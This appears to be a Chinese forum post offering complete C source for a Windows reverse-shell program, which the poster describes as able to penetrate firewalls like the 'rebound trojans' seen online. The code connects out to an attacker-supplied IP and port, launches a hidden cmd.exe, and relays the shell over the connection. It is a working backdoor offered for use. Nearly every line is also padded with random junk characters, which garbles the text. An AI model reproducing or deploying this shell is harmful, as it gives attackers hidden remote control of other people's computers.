这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ft!],n-n*
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/* ============================== Z@$8I{}G
Rebound port in Windows NT Nj 00W1
By wind,2006/7 LA)[ip4
===============================*/ G}G#i`6o
#include /QJ?bD#a
#include piZJJYv t
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#pragma comment(lib,"wsock32.lib") jXMyPNTK
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void OutputShell(); AoI/n4T^
SOCKET sClient; Ny%(VI5:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5hy""i
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void main(int argc,char **argv) 0a "c2J
{ fP `b>]N_
WSADATA stWsaData; MHC^8VL
int nRet; ,kn">k9
SOCKADDR_IN stSaiClient,stSaiServer; @$+ecaVW
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if(argc != 3) VH1d$
{ ez6EjUk
printf("Useage:\n\rRebound DestIP DestPort\n"); 9,r rQQD_
return; BV[ 5}
} X<%Q"2hW
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WSAStartup(MAKEWORD(2,2),&stWsaData); ksN+?E4w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AlIpsJ[UU
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stSaiClient.sin_family = AF_INET; K]9"_UnN
stSaiClient.sin_port = htons(0); d|yAs5@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YS%h^>I^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ynhmMy%
{ qDfd. gL
printf("Bind Socket Failed!\n"); B,=H@[Fj
return; *=*AAF
} uPl\I6k
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stSaiServer.sin_family = AF_INET; vCwe'q`1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XnWr5-;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vsl]92xI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ C
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printf("Connect Error!"); jmFz51
return; ?pB>0b~3-
} dKxyA"@
OutputShell(); Gvr@|{k
} u2?|Ue@[
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void OutputShell() %s(k_|G+4
{ T
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char szBuff[1024]; LB a[:j2
SECURITY_ATTRIBUTES stSecurityAttributes; D,k"PaLP
OSVERSIONINFO stOsversionInfo; L$E{ycn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /VN f{p
STARTUPINFO stStartupInfo; OD6\Mr2=
char *szShell; %*0^0wz
PROCESS_INFORMATION stProcessInformation; tE`u(B,
unsigned long lBytesRead; W)f/0QX}W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); esMX-.8Cx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I
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stSecurityAttributes.lpSecurityDescriptor = 0; KQg]0y
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stSecurityAttributes.bInheritHandle = TRUE; 2bkX}FWd;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [Q/TlO t5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5a|w+HO,
7KAO+\)H^Y
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :lPb.UCY
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; to DG7XN}
stStartupInfo.wShowWindow = SW_HIDE; G2Qlt@.T
stStartupInfo.hStdInput = hReadPipe; EkjN{$*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rzm:Yx
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GetVersionEx(&stOsversionInfo); \b?" b
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switch(stOsversionInfo.dwPlatformId) (2^gVz=j
{ yl7&5)b#9
case 1: mR?5G:W~R
szShell = "command.com"; { +
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break; ~&7MkkftM
default: NnDxq%l%
szShell = "cmd.exe"; 8TLgNQP
break; ]pNvxXbeW
} 7|$:=4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 117EZg]O
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send(sClient,szMsg,77,0); Kgi<UkFP
while(1) :7!0OVQla\
{ `lO[x.[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UBaAx21x
if(lBytesRead) C9n?@D;S
{ {MCi<7j<?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X\@C.H2ttY
send(sClient,szBuff,lBytesRead,0); #><.oreXq
} smRE!f*q
else ^=RffrlZU
{ YW_Q\|p]M
lBytesRead=recv(sClient,szBuff,1024,0); Ay5i+)MD
if(lBytesRead<=0) break; |Lf"6^@yh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CF&6J$ZBgJ
} $JJrSwR<h
} |"/8XA
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return; GT }F9F~
}